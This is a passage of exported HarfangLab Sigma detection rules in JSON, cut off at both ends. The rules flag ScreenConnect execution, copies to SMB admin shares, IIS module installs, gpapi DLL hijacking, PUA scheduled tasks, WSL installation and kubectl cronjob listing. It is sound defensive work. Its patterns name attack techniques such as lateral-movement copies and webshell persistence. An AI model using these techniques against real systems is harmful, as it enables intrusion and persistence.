'\\ScreenConnect.WindowsClient.exe RunFile '\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9b59b325-f5e2-4124-98bd-81e4a9c066a8",
+  "rule_name": "Process Executed via ScreenConnect",
+  "rule_description": "Detects the execution of a process through ScreenConnect, a legitimate remote access tool.\nAttackers can maliciously use remote access software to establish an interactive command and control channel to target systems within networks.\nIt is recommended to investigate the process to determine its legitimacy.\n",
+  "rule_creation_date": "2023-11-10",
+  "rule_modified_date": "2025-06-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9b676aee-d3a6-4f3e-9ee4-8b7f3c9bfdb8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076614Z",
+  "creation_date": "2026-03-23T11:45:34.076616Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076620Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf",
+    "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1570/"
+  ],
+  "name": "t1570_file_move_admin_share.yml",
+  "content": "title: Suspicious File Copy to an Administrative Share\nid: 9b676aee-d3a6-4f3e-9ee4-8b7f3c9bfdb8\ndescription: |\n    Detects file copies to a default hidden SMB administrative share (C$, ADMIN$ and IPC$).\n    This technique can be used by attackers to copy malicious programs to another machine as a mean of moving laterally.\n    It is recommended to analyze process responsible for moving the files and the files themselves, to determine if they contain malicious tools or indicators.\nreferences:\n    - https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf\n    - https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1570/\ndate: 2023/02/22\nmodified: 2025/04/15\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1570\n    - attack.command_and_control\n    - attack.t1105\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith:\n            - '\\xcopy.exe'\n            - '\\robocopy.exe'\n        # Renamed binaries\n        - OriginalFileName:\n            - 'xcopy.exe'\n            - 'robocopy.exe'\n\n    selection_cmdline:\n        # Shell primitive, no image.\n        CommandLine|contains:\n            - ' copy '\n            - ' move '\n            - ' mv '\n\n    selection_smb_share:\n        CommandLine|contains:\n            # C$ share is the C drive.\n            - '\\\\\\\\*\\C$\\Windows'\n            - '\\\\\\\\*\\C$\\Users'\n            # ADMIN$ share is the %SystemRoot% directory.\n            - '\\\\\\\\*\\ADMIN$\\'\n            # IPC$ is a share to expose named pipes. A copy to this should be suspicious in itself.\n            - '\\\\\\\\*\\IPC$'\n\n    exclusion_xpertwin:\n        CommandLine|startswith: 'xcopy.exe ????$\\Windows\\xpertwin.ini'\n\n    exclusion_netlogon_logs:\n        CommandLine|startswith: 'xcopy *\\c$\\windows\\debug\\netlogon.\\**'\n\n    exclusion_logs:\n        CommandLine|endswith: '.log' # Log files ending with \".log\" extension\n\n    exclusion_reader:\n        # Avoid false positive with filename that match \"selection_cmdline\"\n        Image:\n            - '?:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroRd32.exe'\n            - '?:\\Program Files (x86)\\Microsoft Office\\root\\Office16\\EXCEL.EXE'\n\n    exclusion_teracopy:\n        Image: '?:\\Program Files\\TeraCopy\\TeraCopy.exe'\n\n    exclusion_robocopy:\n        ProcessOriginalFileName: 'robocopy.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: (selection_bin or selection_cmdline) and selection_smb_share and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9b676aee-d3a6-4f3e-9ee4-8b7f3c9bfdb8",
+  "rule_name": "Suspicious File Copy to an Administrative Share",
+  "rule_description": "Detects file copies to a default hidden SMB administrative share (C$, ADMIN$ and IPC$).\nThis technique can be used by attackers to copy malicious programs to another machine as a mean of moving laterally.\nIt is recommended to analyze process responsible for moving the files and the files themselves, to determine if they contain malicious tools or indicators.\n",
+  "rule_creation_date": "2023-02-22",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1570"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9ba2245e-e5dd-4b2a-9413-0bc8080755cf",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089741Z",
+  "creation_date": "2026-03-23T11:45:34.089744Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089748Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#to-install-a-module-using-appcmdexe",
+    "https://learn.microsoft.com/en-us/iis/configuration/system.webserver/globalmodules/add#appcmdexe",
+    "https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/",
+    "https://attack.mitre.org/techniques/T1505/004/"
+  ],
+  "name": "t1505_004_iis_module_appcmd_install.yml",
+  "content": "title: Suspicious IIS Module Addition via appcmd\nid: 9ba2245e-e5dd-4b2a-9413-0bc8080755cf\ndescription: |\n    Detects the suspicious addition of an IIS module via 'appcmd.exe' command, out of known usual contexts.\n    IIS modules can be integrated into the IIS server to provide additional server functionalities.\n    They are also leveraged by malicious actors as persistent webshells, but must first be deployed using integration commands or scripts.\n    It is recommended to list modules that are loaded by IIS ('appcmd.exe list modules') as to check for unknown ones and analyze them.\nreferences:\n    - https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#to-install-a-module-using-appcmdexe\n    - https://learn.microsoft.com/en-us/iis/configuration/system.webserver/globalmodules/add#appcmdexe\n    - https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/\n    - https://attack.mitre.org/techniques/T1505/004/\ndate: 2023/11/24\nmodified: 2025/09/26\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1505.004\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.Exploitation\n    - classification.Windows.Behavior.Persistence\n    - classification.Windows.Behavior.InitialAccess\nlogsource:\n    product: windows\n    category: process_creation\ndetection:\n    selection:\n        OriginalFileName: 'appcmd.exe'\n        CommandLine|re:\n            - '(?i)\\b(?:install|add)\\s+module\\s+'\n            - '(?i)\\bset\\s+config\\s+-section:system\\.webServer/(?:globalModules|modules)\\s+'\n\n    filter_parent:\n        - ParentImage:\n            - '?:\\Windows\\sys*\\msiexec.exe'\n            - '?:\\Windows\\system32\\inetsrv\\iissetup.exe'\n            - '?:\\Program Files\\Microsoft Configuration Manager\\bin\\x64\\smsexec.exe'\n            - '*\\SMS\\bin\\i386\\smsexec.exe'\n            - '*\\ExSetup.exe'\n            - '*\\ExSetupUI.exe'\n        - GrandparentImage:\n            - '?:\\Windows\\sys*\\msiexec.exe'\n            - '?:\\Windows\\system32\\inetsrv\\iissetup.exe'\n            - '?:\\Program Files\\Microsoft Configuration Manager\\bin\\x64\\smsexec.exe'\n            - '*\\SMS\\bin\\i386\\smsexec.exe'\n            - '*\\ExSetup.exe'\n            - '*\\ExSetupUI.exe'\n\n    filter_legitimate_modules:\n        CommandLine|contains:\n            - '/name:SCCMDeviceCertAuthModule /add:true /image:*\\SMS_CCM\\DeviceCertAuthModule.dll'\n            - '/name:SCCMDeviceCertAuthModule /add:true /image:*\\CCM\\DeviceCertAuthModule.dll'\n            - '/name:SCCMContentAuthModule /add:true /image:?:\\Windows\\System32\\inetsrv\\ContentAuthModule.dll'\n            - '/name:AspNetCoreModuleV2 /image:%IIS_BIN%\\Asp.Net Core Module\\V2\\aspnetcorev2.dll'\n            - '/name:AspNetCoreModule /image:%IIS_BIN%\\aspnetcore.dll'\n            - '/image:?:\\Synapse\\OSD\\NativeModules\\\\*.dll /commit:appHost'\n\n    exclusion_ge_dakota:\n        ParentImage: '?:\\Program Files\\GE Healthcare\\GE*\\DakotaConfig.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'General Electric Company'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nfalsepositives:\n    - Some custom deployment scripts or binaries can legitimately leverage appcmd to install unusual IIS modules.\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9ba2245e-e5dd-4b2a-9413-0bc8080755cf",
+  "rule_name": "Suspicious IIS Module Addition via appcmd",
+  "rule_description": "Detects the suspicious addition of an IIS module via 'appcmd.exe' command, out of known usual contexts.\nIIS modules can be integrated into the IIS server to provide additional server functionalities.\nThey are also leveraged by malicious actors as persistent webshells, but must first be deployed using integration commands or scripts.\nIt is recommended to list modules that are loaded by IIS ('appcmd.exe list modules') as to check for unknown ones and analyze them.\n",
+  "rule_creation_date": "2023-11-24",
+  "rule_modified_date": "2025-09-26",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1505.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9bd41fa6-1686-4e56-9acb-9d309bc02843",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.093528Z",
+  "creation_date": "2026-03-23T11:45:34.093530Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.093534Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_gpapi.yml",
+  "content": "title: DLL Hijacking via gpap.exe\nid: 9bd41fa6-1686-4e56-9acb-9d309bc02843\ndescription: |\n    Detects potential Windows DLL Hijacking via gpap.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'gpapi.exe'\n        ImageLoaded|endswith: '\\gpapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9bd41fa6-1686-4e56-9acb-9d309bc02843",
+  "rule_name": "DLL Hijacking via gpap.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via gpap.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9bf08b63-9d7a-4ba3-9470-11a8e9f8cbdd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607274Z",
+  "creation_date": "2026-03-23T11:45:34.607278Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607285Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.fbi.gov/contact-us/field-offices/denver/news/fbi-denver-warns-of-online-file-converter-scam",
+    "https://www.bleepingcomputer.com/news/security/fbi-warnings-are-true-fake-file-converters-do-push-malware/",
+    "https://expel.com/blog/you-dont-find-manualfinder-manualfinder-finds-you/",
+    "https://www.truesec.com/hub/blog/tamperedchef-the-bad-pdf-editor",
+    "https://attack.mitre.org/techniques/T1053/005/"
+  ],
+  "name": "t1053_005_scheduled_task_pua.yml",
+  "content": "title: Scheduled Task Related to PUA\nid: 9bf08b63-9d7a-4ba3-9470-11a8e9f8cbdd\ndescription: |\n    Detects the execution of suspicious processes spawned by a scheduled task related to a Potentially Unwanted Application (PUA).\n    Attackers use fake online file converter tools to deliver malicious payloads alongside converted files, enabling data theft or ransomware deployment.\n    It is recommended to investigate the scheduled task and the executed binary to determine its legitimacy.\nreferences:\n    - https://www.fbi.gov/contact-us/field-offices/denver/news/fbi-denver-warns-of-online-file-converter-scam\n    - https://www.bleepingcomputer.com/news/security/fbi-warnings-are-true-fake-file-converters-do-push-malware/\n    - https://expel.com/blog/you-dont-find-manualfinder-manualfinder-finds-you/\n    - https://www.truesec.com/hub/blog/tamperedchef-the-bad-pdf-editor\n    - https://attack.mitre.org/techniques/T1053/005/\ndate: 2025/09/02\nmodified: 2025/09/03\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1053.005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.PUA.MaliciousApp\n    - classification.Windows.Behavior.ScheduledTask\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        GrandparentCommandLine|endswith:\n            - '\\svchost.exe -k netsvcs -p -s Schedule' # windows 10 Version 1703 and above\n            - '\\svchost.exe -k netsvcs -p' # windows versions before 1703\n            - '\\taskeng.exe' # on older windows versions\n        OriginalFileName: 'node.exe'\n        Image|contains: '\\Users\\\\*\\AppData\\'\n\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9bf08b63-9d7a-4ba3-9470-11a8e9f8cbdd",
+  "rule_name": "Scheduled Task Related to PUA",
+  "rule_description": "Detects the execution of suspicious processes spawned by a scheduled task related to a Potentially Unwanted Application (PUA).\nAttackers use fake online file converter tools to deliver malicious payloads alongside converted files, enabling data theft or ransomware deployment.\nIt is recommended to investigate the scheduled task and the executed binary to determine its legitimacy.\n",
+  "rule_creation_date": "2025-09-02",
+  "rule_modified_date": "2025-09-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9bfddc67-d9dd-43d5-a677-c0076684a695",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.297283Z",
+  "creation_date": "2026-03-23T11:45:35.297285Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297290Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://docs.microsoft.com/en-us/windows/wsl/install",
+    "https://blog.qualys.com/vulnerabilities-threat-research/2022/03/22/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-1",
+    "https://blog.qualys.com/vulnerabilities-threat-research/2022/04/20/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-2",
+    "https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux",
+    "https://attack.mitre.org/techniques/T1202/"
+  ],
+  "name": "t1202_wsl_feature_enabled.yml",
+  "content": "title: Windows Subsystem for Linux (WSL) Feature Installed\nid: 9bfddc67-d9dd-43d5-a677-c0076684a695\ndescription: |\n    Detects the installation of the Windows Subsystem for Linux (WSL) feature.\n    While WSL has legitimate uses, threat actors may abuse it to run Linux-based tools and malware, potentially bypassing Windows security controls.\n    The installation of WSL should be monitored and correlated with other suspicious activities that might indicate malicious use.\nreferences:\n    - https://docs.microsoft.com/en-us/windows/wsl/install\n    - https://blog.qualys.com/vulnerabilities-threat-research/2022/03/22/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-1\n    - https://blog.qualys.com/vulnerabilities-threat-research/2022/04/20/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-2\n    - https://en.wikipedia.org/wiki/Windows_Subsystem_for_Linux\n    - https://attack.mitre.org/techniques/T1202/\ndate: 2025/01/13\nmodified: 2026/03/03\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1202\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: CreateKey\n        TargetObject|endswith: '\\Software\\Microsoft\\Windows\\CurrentVersion\\Lxss'\n\n    condition: selection\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9bfddc67-d9dd-43d5-a677-c0076684a695",
+  "rule_name": "Windows Subsystem for Linux (WSL) Feature Installed",
+  "rule_description": "Detects the installation of the Windows Subsystem for Linux (WSL) feature.\nWhile WSL has legitimate uses, threat actors may abuse it to run Linux-based tools and malware, potentially bypassing Windows security controls.\nThe installation of WSL should be monitored and correlated with other suspicious activities that might indicate malicious use.\n",
+  "rule_creation_date": "2025-01-13",
+  "rule_modified_date": "2026-03-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1202"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9bffe914-ce34-4ae1-8879-0978e6753e3e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.613194Z",
+  "creation_date": "2026-03-23T11:45:34.613198Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.613205Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.007/T1053.007.md",
+    "https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/",
+    "https://attack.mitre.org/techniques/T1053/007/"
+  ],
+  "name": "t1053_007_crontab_kubectl_discovery.yml",
+  "content": "title: Kubectl Scheduled Tasks List Fetched\nid: 9bffe914-ce34-4ae1-8879-0978e6753e3e\ndescription: |\n    Detects the execution of the kubectl \"get cronjob\" command to fetch Kubernetes CronJobs.\n    An attacker can use the list of Kubernetes CronJobs to inject malicious behaviour in an unprotected Job.\n    Is is recommended to investigate the parent process and correlate this alert to any CronJob modifications to look for malicious content.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.007/T1053.007.md\n    - https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/\n    - https://attack.mitre.org/techniques/T1053/007/\ndate: 2023/03/05\nmodified: 2025/05/14\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1053.007\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection:\n        Image|endswith: '/kubectl'\n        CommandLine|contains: 'get cronjob'\n\n    exclusion_centreon:\n        - ProcessAncestors|contains: '/usr/bin/perl|/usr/sbin/centengine|'\n        - ProcessCommandLine|startswith: '/usr/bin/perl /usr/lib/centreon/plugins/'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "9bffe914-ce34-4ae1-8879-0978e6753e3e",
+  "rule_name": "Kubectl Scheduled Tasks List Fetched",
+  "rule_description": "Detects the execution of the kubectl \"get cronjob\" command to fetch Kubernetes CronJobs.\nAn attacker can use the list of Kubernetes CronJobs to inject malicious behaviour in an unprotected Job.\nIs is recommended to investigate the parent process and correlate this alert to any CronJob modifications to look for malicious content.\n",
+  "rule_creation_date": "2023-03-05",
+  "rule_modified_date": "2025-05-14",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1053.007"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "9c030998-dfcb-45fc-bd74-0c1f38a2d18d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.603344Z",
+  "creation_date": "2026-03-23T11:45:34.603347Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.603355Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Replace/",
+    "https://www.cynet.com/blog/orion-threat-alert-qakbot-ttps-arsenal-and-the-black-basta-ransomware/",
+    "https://attack.mitre.org/techniques/T1105/"
+  ],
+  "name": "t1105_replace_ingress_tool_transfer.yml",
